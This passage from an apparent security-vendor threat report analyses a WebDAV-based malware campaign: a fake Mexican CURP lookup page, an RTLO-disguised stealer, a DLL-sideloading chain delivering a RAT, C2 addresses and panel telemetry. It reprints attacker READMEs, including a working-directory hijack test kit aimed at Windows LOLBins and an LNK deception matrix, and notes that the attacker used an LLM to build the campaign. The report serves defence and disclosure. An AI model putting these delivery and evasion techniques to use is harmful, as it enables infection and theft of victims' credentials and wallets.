asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United 